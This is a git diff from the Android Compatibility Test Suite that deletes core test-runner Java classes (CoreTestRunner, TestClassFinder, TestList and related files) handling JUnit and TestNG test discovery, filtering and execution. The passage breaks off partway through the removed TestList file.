-     * @return the loaded class or null.
-     */
-    public Class<?> loadClass(String className) {
-        Class<?> loadedClass = doLoadClass(className);
-        if (loadedClass != null) {
-            mLoadedClassesMap.put(className, loadedClass);
-        }
-        return loadedClass;
-    }
-
-    protected ClassLoader getClassLoader() {
-        if (mClassLoader != null) {
-            return mClassLoader;
-        }
-
-        // TODO: InstrumentationTestRunner uses
-        // Class.forName(className, false, getTargetContext().getClassLoader());
-        // Evaluate if that is needed. Initial testing indicates
-        // getTargetContext().getClassLoader() == this.getClass().getClassLoader()
-        return this.getClass().getClassLoader();
-    }
-
-    private Class<?> doLoadClass(String className) {
-        if (mLoadFailuresMap.containsKey(className)) {
-            // Don't load classes that already failed to load
-            return null;
-        } else if (mLoadedClassesMap.containsKey(className)) {
-            // Class with the same name was already loaded, return it
-            return mLoadedClassesMap.get(className);
-        }
-
-        try {
-            ClassLoader myClassLoader = getClassLoader();
-            return Class.forName(className, false, myClassLoader);
-        } catch (ClassNotFoundException e) {
-            String errMsg = String.format("Could not find class: %s", className);
-            Log.e(LOG_TAG, errMsg);
-            Description description = Description.createSuiteDescription(className);
-            Failure failure = new Failure(description, e);
-            mLoadFailuresMap.put(className, failure);
-        }
-        return null;
-    }
-
-    /**
-     * Loads the test class from the given class name.
-     * <p/>
-     * Similar to {@link #loadClass(String)}, but will ignore classes that are
-     * not tests.
-     *
-     * @param className the class name to attempt to load
-     * @return the loaded class or null.
-     */
-    public Class<?> loadIfTest(String className) {
-        Class<?> loadedClass = doLoadClass(className);
-        if (loadedClass != null && isTestClass(loadedClass)) {
-            mLoadedClassesMap.put(className, loadedClass);
-            return loadedClass;
-        }
-        return null;
-    }
-
-    /**
-     * @return whether this {@link TestLoader} contains any loaded classes or load failures.
-     */
-    public boolean isEmpty() {
-        return mLoadedClassesMap.isEmpty() && mLoadFailuresMap.isEmpty();
-    }
-
-    /**
-     * Get the {@link Collection) of classes successfully loaded via
-     * {@link #loadIfTest(String)} calls.
-     */
-    public Collection<Class<?>> getLoadedClasses() {
-        return mLoadedClassesMap.values();
-    }
-
-    /**
-     * Get the {@link List) of {@link Failure} that occurred during
-     * {@link #loadIfTest(String)} calls.
-     */
-    public Collection<Failure> getLoadFailures() {
-        return mLoadFailuresMap.values();
-    }
-
-    /**
-     * Determines if given class is a valid test class.
-     *
-     * @param loadedClass
-     * @return <code>true</code> if loadedClass is a test
-     */
-    private boolean isTestClass(Class<?> loadedClass) {
-        try {
-            if (Modifier.isAbstract(loadedClass.getModifiers())) {
-                logDebug(String.format("Skipping abstract class %s: not a test",
-                        loadedClass.getName()));
-                return false;
-            }
-            // Libcore-specific change: Also consider TestNG annotated classes.
-            if (isTestNgTestClass(loadedClass)) {
-              return true;
-            }
-            // TODO: try to find upstream junit calls to replace these checks
-            if (junit.framework.Test.class.isAssignableFrom(loadedClass)) {
-                // ensure that if a TestCase, it has at least one test method otherwise
-                // TestSuite will throw error
-                if (junit.framework.TestCase.class.isAssignableFrom(loadedClass)) {
-                    return hasJUnit3TestMethod(loadedClass);
-                }
-                return true;
-            }
-            // TODO: look for a 'suite' method?
-            if (loadedClass.isAnnotationPresent(org.junit.runner.RunWith.class)) {
-                return true;
-            }
-            for (Method testMethod : loadedClass.getMethods()) {
-                if (testMethod.isAnnotationPresent(org.junit.Test.class)) {
-                    return true;
-                }
-            }
-            logDebug(String.format("Skipping class %s: not a test", loadedClass.getName()));
-            return false;
-        } catch (Exception e) {
-            // Defensively catch exceptions - Will throw runtime exception if it cannot load methods.
-            // For earlier versions of Android (Pre-ICS), Dalvik might try to initialize a class
-            // during getMethods(), fail to do so, hide the error and throw a NoSuchMethodException.
-            // Since the java.lang.Class.getMethods does not declare such an exception, resort to a
-            // generic catch all.
-            // For ICS+, Dalvik will throw a NoClassDefFoundException.
-            Log.w(LOG_TAG, String.format("%s in isTestClass for %s", e.toString(),
-                    loadedClass.getName()));
-            return false;
-        } catch (Error e) {
-            // defensively catch Errors too
-            Log.w(LOG_TAG, String.format("%s in isTestClass for %s", e.toString(),
-                    loadedClass.getName()));
-            return false;
-        }
-    }
-
-    private boolean hasJUnit3TestMethod(Class<?> loadedClass) {
-        for (Method testMethod : loadedClass.getMethods()) {
-            if (isPublicTestMethod(testMethod)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    // copied from junit.framework.TestSuite
-    private boolean isPublicTestMethod(Method m) {
-        return isTestMethod(m) && Modifier.isPublic(m.getModifiers());
-    }
-
-    // copied from junit.framework.TestSuite
-    private boolean isTestMethod(Method m) {
-        return m.getParameterTypes().length == 0 && m.getName().startsWith("test")
-                && m.getReturnType().equals(Void.TYPE);
-    }
-
-    // Libcore-specific change: Add method for checking TestNG-annotated classes.
-    private static boolean isTestNgTestClass(Class<?> cls) {
-      // TestNG test is either marked @Test at the class
-      for (Annotation a : cls.getAnnotations()) {
-          if (a.annotationType().getName().equals(TESTNG_TEST)) {
-              return true;
-          }
-      }
-
-      // Or It's marked @Test at the method level
-      for (Method m : cls.getDeclaredMethods()) {
-        for (Annotation a : m.getAnnotations()) {
-          if (a.annotationType().getName().equals(TESTNG_TEST)) {
-              return true;
-          }
-        }
-      }
-
-      return false;
-    }
-
-
-    /**
-     * Utility method for logging debug messages. Only actually logs a message if LOG_TAG is marked
-     * as loggable to limit log spam during normal use.
-     */
-    private void logDebug(String msg) {
-        if (Log.isLoggable(LOG_TAG, Log.DEBUG)) {
-            Log.d(LOG_TAG, msg);
-        }
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java b/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java
deleted file mode 100644
index 4b18cdc..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/AndroidJUnitRunnerConstants.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.support.test.runner.AndroidJUnitRunner;
-
-/**
- * Constants used to communicate to and from {@link AndroidJUnitRunner}.
- */
-public interface AndroidJUnitRunnerConstants {
-
-    /**
-     * The name of the file containing the names of the tests to run.
-     *
-     * <p>This is an internal constant used within
-     * {@code android.support.test.internal.runner.RunnerArgs}, which is used on both the server
-     * and
-     * client side. The constant is used when there are too many test names to pass on the command
-     * line, in which case they are stored in a file that is pushed to the device and then the
-     * location of that file is passed in this argument. The {@code RunnerArgs} on the client will
-     * read the contents of that file in order to retrieve the list of names and then return that
-     * to
-     * its client without the client being aware of how that was done.
-     */
-    String ARGUMENT_TEST_FILE = "testFile";
-
-    /**
-     * The name of the file containing the names of the tests not to run.
-     *
-     * <p>This is an internal constant used within
-     * {@code android.support.test.internal.runner.RunnerArgs}, which is used on both the server
-     * and
-     * client side. The constant is used when there are too many test names to pass on the command
-     * line, in which case they are stored in a file that is pushed to the device and then the
-     * location of that file is passed in this argument. The {@code RunnerArgs} on the client will
-     * read the contents of that file in order to retrieve the list of names and then return that
-     * to
-     * its client without the client being aware of how that was done.
-     */
-    String ARGUMENT_NOT_TEST_FILE = "notTestFile";
-
-    /**
-     * A comma separated list of the names of test classes to run.
-     *
-     * <p>The equivalent constant in {@code InstrumentationTestRunner} is hidden and so not
-     * available
-     * through the public API.
-     */
-    String ARGUMENT_TEST_CLASS = "class";
-
-    /**
-     * A comma separated list of the names of test classes not to run
-     */
-    String ARGUMENT_NOT_TEST_CLASS = "notClass";
-
-    /**
-     * A comma separated list of the names of test packages to run.
-     *
-     * <p>The equivalent constant in {@code InstrumentationTestRunner} is hidden and so not
-     * available
-     * through the public API.
-     */
-    String ARGUMENT_TEST_PACKAGE = "package";
-
-    /**
-     * A comma separated list of the names of test packages not to run.
-     */
-    String ARGUMENT_NOT_TEST_PACKAGE = "notPackage";
-
-    /**
-     * Log the results as if the tests were executed but don't actually run the tests.
-     *
-     * <p>The equivalent constant in {@code InstrumentationTestRunner} is private.
-     */
-    String ARGUMENT_LOG_ONLY = "log";
-
-    /**
-     * Wait for the debugger before starting.
-     *
-     * <p>There is no equivalent constant in {@code InstrumentationTestRunner} but the string is
-     * used
-     * within that class.
-     */
-    String ARGUMENT_DEBUG = "debug";
-
-    /**
-     * Only count the number of tests to run.
-     *
-     * <p>There is no equivalent constant in {@code InstrumentationTestRunner} but the string is
-     * used
-     * within that class.
-     */
-    String ARGUMENT_COUNT = "count";
-
-    /**
-     * The per test timeout value.
-     */
-    String ARGUMENT_TIMEOUT = "timeout_msec";
-
-    /**
-     * Token representing how long (in seconds) the current test took to execute.
-     *
-     * <p>The equivalent constant in {@code InstrumentationTestRunner} is private.
-     */
-    String REPORT_KEY_RUNTIME = "runtime";
-
-    /**
-     * An identifier for tests run using this class.
-     */
-    String REPORT_VALUE_ID = "CoreTestRunner";
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java b/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
deleted file mode 100644
index 42b6684..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/CoreTestRunner.java
+++ /dev/null
@@ -1,355 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.os.Debug;
-import android.support.test.internal.runner.listener.InstrumentationResultPrinter;
-import android.support.test.internal.runner.listener.InstrumentationRunListener;
-import android.support.test.internal.util.AndroidRunnerParams;
-import android.util.Log;
-import com.android.cts.core.runner.support.ExtendedAndroidRunnerBuilder;
-import com.google.common.base.Splitter;
-import java.io.BufferedReader;
-import java.io.ByteArrayOutputStream;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.PrintStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import org.junit.runner.Computer;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.Result;
-import org.junit.runner.Runner;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runner.manipulation.Filterable;
-import org.junit.runner.manipulation.NoTestsRemainException;
-import org.junit.runner.notification.RunListener;
-import org.junit.runners.model.InitializationError;
-import org.junit.runners.model.RunnerBuilder;
-
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_COUNT;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_DEBUG;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_LOG_ONLY;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_CLASS;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_FILE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_NOT_TEST_PACKAGE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_CLASS;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_FILE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TEST_PACKAGE;
-import static com.android.cts.core.runner.AndroidJUnitRunnerConstants.ARGUMENT_TIMEOUT;
-
-/**
- * A drop-in replacement for AndroidJUnitTestRunner, which understands the same arguments, and has
- * similar functionality, but can filter by expectations and allows a custom runner-builder to be
- * provided.
- */
-public class CoreTestRunner extends Instrumentation {
-
-    static final String TAG = "LibcoreTestRunner";
-
-    private static final java.lang.String ARGUMENT_ROOT_CLASSES = "core-root-classes";
-
-    private static final String ARGUMENT_CORE_LISTENER = "core-listener";
-
-    private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
-
-    /** The args for the runner. */
-    private Bundle args;
-
-    /** Only log the number and names of tests, and not run them. */
-    private boolean logOnly;
-
-    /** The amount of time in millis to wait for a single test to complete. */
-    private long testTimeout;
-
-    /**
-     * The list of tests to run.
-     */
-    private TestList testList;
-
-    /**
-     * The list of {@link RunListener} classes to create.
-     */
-    private List<Class<? extends RunListener>> listenerClasses;
-    private Filter expectationFilter;
-
-    @Override
-    public void onCreate(final Bundle args) {
-        super.onCreate(args);
-        this.args = args;
-
-        boolean debug = "true".equalsIgnoreCase(args.getString(ARGUMENT_DEBUG));
-        if (debug) {
-            Log.i(TAG, "Waiting for debugger to connect...");
-            Debug.waitForDebugger();
-            Log.i(TAG, "Debugger connected.");
-        }
-
-        // Log the message only after getting a value from the args so that the args are
-        // unparceled.
-        Log.d(TAG, "In OnCreate: " + args);
-
-        // Treat logOnly and count as the same. This is not quite true as count should only send
-        // the host the number of tests but logOnly should send the name and number. However,
-        // this is how this has always behaved and it does not appear to have caused any problems.
-        // Changing it seems unnecessary given that count is CTSv1 only and CTSv1 will be removed
-        // soon now that CTSv2 is ready.
-        boolean testCountOnly = args.getBoolean(ARGUMENT_COUNT);
-        this.logOnly = "true".equalsIgnoreCase(args.getString(ARGUMENT_LOG_ONLY)) || testCountOnly;
-        this.testTimeout = parseUnsignedLong(args.getString(ARGUMENT_TIMEOUT), ARGUMENT_TIMEOUT);
-
-        expectationFilter = new ExpectationBasedFilter(args);
-
-        // The test can be run specifying a list of tests to run, or as cts-tradefed does it,
-        // by passing a fileName with a test to run on each line.
-        Set<String> testNameSet = new HashSet<>();
-        String arg;
-        if ((arg = args.getString(ARGUMENT_TEST_FILE)) != null) {
-            // The tests are specified in a file.
-            try {
-                testNameSet.addAll(readTestsFromFile(arg));
-            } catch (IOException err) {
-                finish(Activity.RESULT_CANCELED, new Bundle());
-                return;
-            }
-        } else if ((arg = args.getString(ARGUMENT_TEST_CLASS)) != null) {
-            // The tests are specified in a String passed in the bundle.
-            String[] tests = arg.split(",");
-            testNameSet.addAll(Arrays.asList(tests));
-        }
-
-        // Tests may be excluded from the run by passing a list of tests not to run,
-        // or by passing a fileName with a test not to run on each line.
-        Set<String> notTestNameSet = new HashSet<>();
-        if ((arg = args.getString(ARGUMENT_NOT_TEST_FILE)) != null) {
-            // The tests are specified in a file.
-            try {
-                notTestNameSet.addAll(readTestsFromFile(arg));
-            } catch (IOException err) {
-                finish(Activity.RESULT_CANCELED, new Bundle());
-                return;
-            }
-        } else if ((arg = args.getString(ARGUMENT_NOT_TEST_CLASS)) != null) {
-            // The classes are specified in a String passed in the bundle
-            String[] tests = arg.split(",");
-            notTestNameSet.addAll(Arrays.asList(tests));
-        }
-
-        Set<String> packageNameSet = new HashSet<>();
-        if ((arg = args.getString(ARGUMENT_TEST_PACKAGE)) != null) {
-            // The packages are specified in a String passed in the bundle
-            String[] packages = arg.split(",");
-            packageNameSet.addAll(Arrays.asList(packages));
-        }
-
-        Set<String> notPackageNameSet = new HashSet<>();
-        if ((arg = args.getString(ARGUMENT_NOT_TEST_PACKAGE)) != null) {
-            // The packages are specified in a String passed in the bundle
-            String[] packages = arg.split(",");
-            notPackageNameSet.addAll(Arrays.asList(packages));
-        }
-
-        List<String> roots = getRootClassNames(args);
-        if (roots == null) {
-            // Find all test classes
-            Collection<Class<?>> classes = TestClassFinder.getClasses(
-                Collections.singletonList(getContext().getPackageCodePath()),
-                getClass().getClassLoader());
-            testList = new TestList(classes);
-        } else {
-            testList = TestList.rootList(roots);
-        }
-
-        testList.addIncludeTestPackages(packageNameSet);
-        testList.addExcludeTestPackages(notPackageNameSet);
-        testList.addIncludeTests(testNameSet);
-        testList.addExcludeTests(notTestNameSet);
-
-        listenerClasses = new ArrayList<>();
-        String listenerArg = args.getString(ARGUMENT_CORE_LISTENER);
-        if (listenerArg != null) {
-            List<String> listenerClassNames = CLASS_LIST_SPLITTER.splitToList(listenerArg);
-            for (String listenerClassName : listenerClassNames) {
-                try {
-                    Class<? extends RunListener> listenerClass = Class.forName(listenerClassName)
-                            .asSubclass(RunListener.class);
-                    listenerClasses.add(listenerClass);
-                } catch (ClassNotFoundException e) {
-                    Log.e(TAG, "Could not load listener class: " + listenerClassName, e);
-                }
-            }
-        }
-
-        start();
-    }
-
-    private List<String> getRootClassNames(Bundle args) {
-        String rootClasses = args.getString(ARGUMENT_ROOT_CLASSES);
-        List<String> roots;
-        if (rootClasses == null) {
-            roots = null;
-        } else {
-            roots = CLASS_LIST_SPLITTER.splitToList(rootClasses);
-        }
-        return roots;
-    }
-
-    @Override
-    public void onStart() {
-        if (logOnly) {
-            Log.d(TAG, "Counting/logging tests only");
-        } else {
-            Log.d(TAG, "Running tests");
-        }
-
-        AndroidRunnerParams runnerParams = new AndroidRunnerParams(this, args,
-                false, testTimeout, false /*ignoreSuiteMethods*/);
-
-        Runner runner;
-        try {
-            RunnerBuilder runnerBuilder = new ExtendedAndroidRunnerBuilder(runnerParams);
-            Class[] classes = testList.getClassesToRun();
-            for (Class cls : classes) {
-              Log.d(TAG, "Found class to run: " + cls.getName());
-            }
-            runner = new Computer().getSuite(runnerBuilder, classes);
-
-            if (runner instanceof Filterable) {
-                Log.d(TAG, "Applying filters");
-                Filterable filterable = (Filterable) runner;
-
-                // Filter out all the tests that are expected to fail.
-                try {
-                    filterable.filter(expectationFilter);
-                } catch (NoTestsRemainException e) {
-                    // Sometimes filtering will remove all tests but we do not care about that.
-                }
-                Log.d(TAG, "Applied filters");
-            }
-
-            // If the tests are only supposed to be logged and not actually run then replace the
-            // runner with a runner that will fire notifications for all the tests that would have
-            // been run. This is needed because CTSv2 does a log only run through a CTS module in
-            // order to generate a list of tests that will be run so that it can monitor them.
-            // Encapsulating that in a Runner implementation makes it easier to leverage the
-            // existing code for running tests.
-            if (logOnly) {
-                runner = new DescriptionHierarchyNotifier(runner.getDescription());
-            }
-
-        } catch (InitializationError e) {
-            throw new RuntimeException("Could not create a suite", e);
-        }
-
-        InstrumentationResultPrinter instrumentationResultPrinter =
-                new InstrumentationResultPrinter();
-        instrumentationResultPrinter.setInstrumentation(this);
-
-        JUnitCore core = new JUnitCore();
-        core.addListener(instrumentationResultPrinter);
-
-        // If not logging the list of tests then add any additional configured listeners. These
-        // must be added before firing any events.
-        if (!logOnly) {
-            // Add additional configured listeners.
-            for (Class<? extends RunListener> listenerClass : listenerClasses) {
-                try {
-                    RunListener runListener = listenerClass.newInstance();
-                    if (runListener instanceof InstrumentationRunListener) {
-                        ((InstrumentationRunListener) runListener).setInstrumentation(this);
-                    }
-                    core.addListener(runListener);
-                } catch (InstantiationException | IllegalAccessException e) {
-                    Log.e(TAG,
-                            "Could not create instance of listener: " + listenerClass, e);
-                }
-            }
-        }
-
-        Log.d(TAG, "Finished preparations, running/listing tests");
-
-        Bundle results = new Bundle();
-        Result junitResults = new Result();
-        try {
-            junitResults = core.run(Request.runner(runner));
-        } catch (RuntimeException e) {
-            final String msg = "Fatal exception when running tests";
-            Log.e(TAG, msg, e);
-            // report the exception to instrumentation out
-            results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
-                    msg + "\n" + Log.getStackTraceString(e));
-        } finally {
-            ByteArrayOutputStream summaryStream = new ByteArrayOutputStream();
-            // create the stream used to output summary data to the user
-            PrintStream summaryWriter = new PrintStream(summaryStream);
-            instrumentationResultPrinter.instrumentationRunFinished(summaryWriter,
-                    results, junitResults);
-            summaryWriter.close();
-            results.putString(Instrumentation.REPORT_KEY_STREAMRESULT,
-                    String.format("\n%s", summaryStream.toString()));
-        }
-
-
-        Log.d(TAG, "Finished");
-        finish(Activity.RESULT_OK, results);
-    }
-
-    /**
-     * Read tests from a specified file.
-     *
-     * @return class names of tests. If there was an error reading the file, null is returned.
-     */
-    private static List<String> readTestsFromFile(String fileName) throws IOException {
-        try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
-            List<String> tests = new ArrayList<>();
-            String line;
-            while ((line = br.readLine()) != null) {
-                tests.add(line);
-            }
-            return tests;
-        } catch (IOException err) {
-            Log.e(TAG, "There was an error reading the test class list: " + err.getMessage());
-            throw err;
-        }
-    }
-
-    /**
-     * Parse long from given value - except either Long or String.
-     *
-     * @return the value, -1 if not found
-     * @throws NumberFormatException if value is negative or not a number
-     */
-    private static long parseUnsignedLong(Object value, String name) {
-        if (value != null) {
-            long longValue = Long.parseLong(value.toString());
-            if (longValue < 0) {
-                throw new NumberFormatException(name + " can not be negative");
-            }
-            return longValue;
-        }
-        return -1;
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java b/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
deleted file mode 100644
index 5c94fd7..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/DescriptionHierarchyNotifier.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import java.util.List;
-import org.junit.runner.Description;
-import org.junit.runner.Runner;
-import org.junit.runner.notification.RunNotifier;
-
-/**
- * A {@link Runner} that does not actually run any tests but simply fires events for all leaf
- * {@link Description} instances in the supplied {@link Description} hierarchy.
- */
-class DescriptionHierarchyNotifier extends Runner {
-
-    private final Description description;
-
-    DescriptionHierarchyNotifier(Description description) {
-        this.description = description;
-    }
-
-    @Override
-    public Description getDescription() {
-        return description;
-    }
-
-    @Override
-    public void run(RunNotifier notifier) {
-        generateListOfTests(notifier, description);
-    }
-
-    /**
-     * Generates a list of tests to run by recursing over the {@link Description} hierarchy and
-     * firing events to simulate the tests being run successfully.
-     * @param runNotifier the notifier to which the events are sent.
-     * @param description the description to traverse.
-     */
-    private void generateListOfTests(RunNotifier runNotifier, Description description) {
-        List<Description> children = description.getChildren();
-        if (children.isEmpty()) {
-            runNotifier.fireTestStarted(description);
-            runNotifier.fireTestFinished(description);
-        } else {
-            for (Description child : children) {
-                generateListOfTests(runNotifier, child);
-            }
-        }
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
index 90034ec..f409dbd 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -105,7 +105,7 @@
             if (expectationStore != null) {
                 Expectation expectation = expectationStore.get(testName);
                 if (expectation.getResult() != Result.SUCCESS) {
-                    Log.d(CoreTestRunner.TAG, "Excluding test " + testDescription
+                    Log.d(TAG, "Excluding test " + testDescription
                             + " as it matches expectation: " + expectation);
                     return false;
                 }
diff --git a/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java b/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java
deleted file mode 100644
index 6ad95f6..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.support.test.internal.runner.ClassPathScanner;
-import android.support.test.internal.runner.ClassPathScanner.ClassNameFilter;
-import android.util.Log;
-
-import com.android.cts.core.internal.runner.TestLoader;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Enumeration;
-import java.util.List;
-import java.util.Set;
-
-import dalvik.system.DexFile;
-
-/**
- * Find tests in the current APK.
- */
-public class TestClassFinder {
-
-    private static final String TAG = "TestClassFinder";
-    private static final boolean DEBUG = false;
-
-    // Excluded test packages
-    private static final String[] DEFAULT_EXCLUDED_PACKAGES = {
-            "junit",
-            "org.junit",
-            "org.hamcrest",
-            "org.mockito",// exclude Mockito for performance and to prevent JVM related errors
-            "android.support.test.internal.runner.junit3",// always skip AndroidTestSuite
-    };
-
-    static Collection<Class<?>> getClasses(List<String> apks, ClassLoader loader) {
-        if (DEBUG) {
-          Log.d(TAG, "getClasses: =======================================");
-
-          for (String apkPath : apks) {
-            Log.d(TAG, "getClasses: -------------------------------");
-            Log.d(TAG, "getClasses: APK " + apkPath);
-
-            DexFile dexFile = null;
-            try {
-                dexFile = new DexFile(apkPath);
-                Enumeration<String> apkClassNames = dexFile.entries();
-                while (apkClassNames.hasMoreElements()) {
-                    String apkClassName = apkClassNames.nextElement();
-                    Log.d(TAG, "getClasses: DexClass element " + apkClassName);
-                }
-            } catch (IOException e) {
-              throw new AssertionError(e);
-            } finally {
-                if (dexFile != null) {
-                  try {
-                    dexFile.close();
-                  } catch (IOException e) {
-                    throw new AssertionError(e);
-                  }
-                }
-            }
-            Log.d(TAG, "getClasses: -------------------------------");
-          }
-        }  // if DEBUG
-
-        List<Class<?>> classes = new ArrayList<>();
-        ClassPathScanner scanner = new ClassPathScanner(apks);
-
-        ClassPathScanner.ChainedClassNameFilter filter =
-                new ClassPathScanner.ChainedClassNameFilter();
-        // exclude inner classes
-        filter.add(new ClassPathScanner.ExternalClassNameFilter());
-
-        // exclude default classes
-        for (String defaultExcludedPackage : DEFAULT_EXCLUDED_PACKAGES) {
-            filter.add(new ExcludePackageNameFilter(defaultExcludedPackage));
-        }
-
-        // exclude any classes that aren't a "test class" (see #loadIfTest)
-        TestLoader testLoader = new TestLoader();
-        testLoader.setClassLoader(loader);
-
-        try {
-            Set<String> classNames = scanner.getClassPathEntries(filter);
-            for (String className : classNames) {
-                // Important: This further acts as an additional filter;
-                // classes that aren't a "test class" are never loaded.
-                Class<?> cls = testLoader.loadIfTest(className);
-                if (cls != null) {
-                    classes.add(cls);
-
-                    if (DEBUG) {
-                      Log.d(TAG, "getClasses: Loaded " + className);
-                    }
-                } else if (DEBUG) {
-                  Log.d(TAG, "getClasses: Failed to load class " + className);
-                }
-            }
-            return classes;
-        } catch (IOException e) {
-            Log.e(CoreTestRunner.TAG, "Failed to scan classes", e);
-        }
-
-
-        if (DEBUG) {
-            Log.d(TAG, "getClasses: =======================================");
-        }
-
-        return testLoader.getLoadedClasses();
-    }
-
-    /**
-     * A {@link ClassNameFilter} that only rejects a given package names within the given namespace.
-     */
-    public static class ExcludePackageNameFilter implements ClassNameFilter {
-
-        private final String mPkgName;
-
-        ExcludePackageNameFilter(String pkgName) {
-            if (!pkgName.endsWith(".")) {
-                mPkgName = String.format("%s.", pkgName);
-            } else {
-                mPkgName = pkgName;
-            }
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public boolean accept(String pathName) {
-            return !pathName.startsWith(mPkgName);
-        }
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/TestList.java b/tests/core/runner/src/com/android/cts/core/runner/TestList.java
deleted file mode 100644
index 9d97501..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/TestList.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import android.util.Log;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-import java.util.List;
-import java.util.Set;
-import javax.annotation.Nullable;
-
-/**
- * A list of the tests to run.
- */
-class TestList {
-
-    /** The set of test pacakges to run */
-    private final Set<String> mIncludedPackages = new HashSet<>();
-
-    /** The set of test packages not to run */
-    private final Set<String> mExcludedPackages = new HashSet<>();
-
-    /** The set of tests (classes or methods) to run */
-    private final Set<String> mIncludedTests = new HashSet<>();
-
-    /** The set of tests (classes or methods) not to run */
-    private final Set<String> mExcludedTests = new HashSet<>();
-
-    /** The list of all test classes to run (without filtering applied)*/
-    private final Collection<Class<?>> classesToRun;
-
-    public static TestList rootList(List<String> rootList) {
-
-        // Run from the root test class.
-        Set<String> classNamesToRun = new LinkedHashSet<>(rootList);
-        Log.d(CoreTestRunner.TAG, "Running all tests rooted at " + classNamesToRun);
-
-        List<Class<?>> classesToRun1 = getClasses(classNamesToRun);
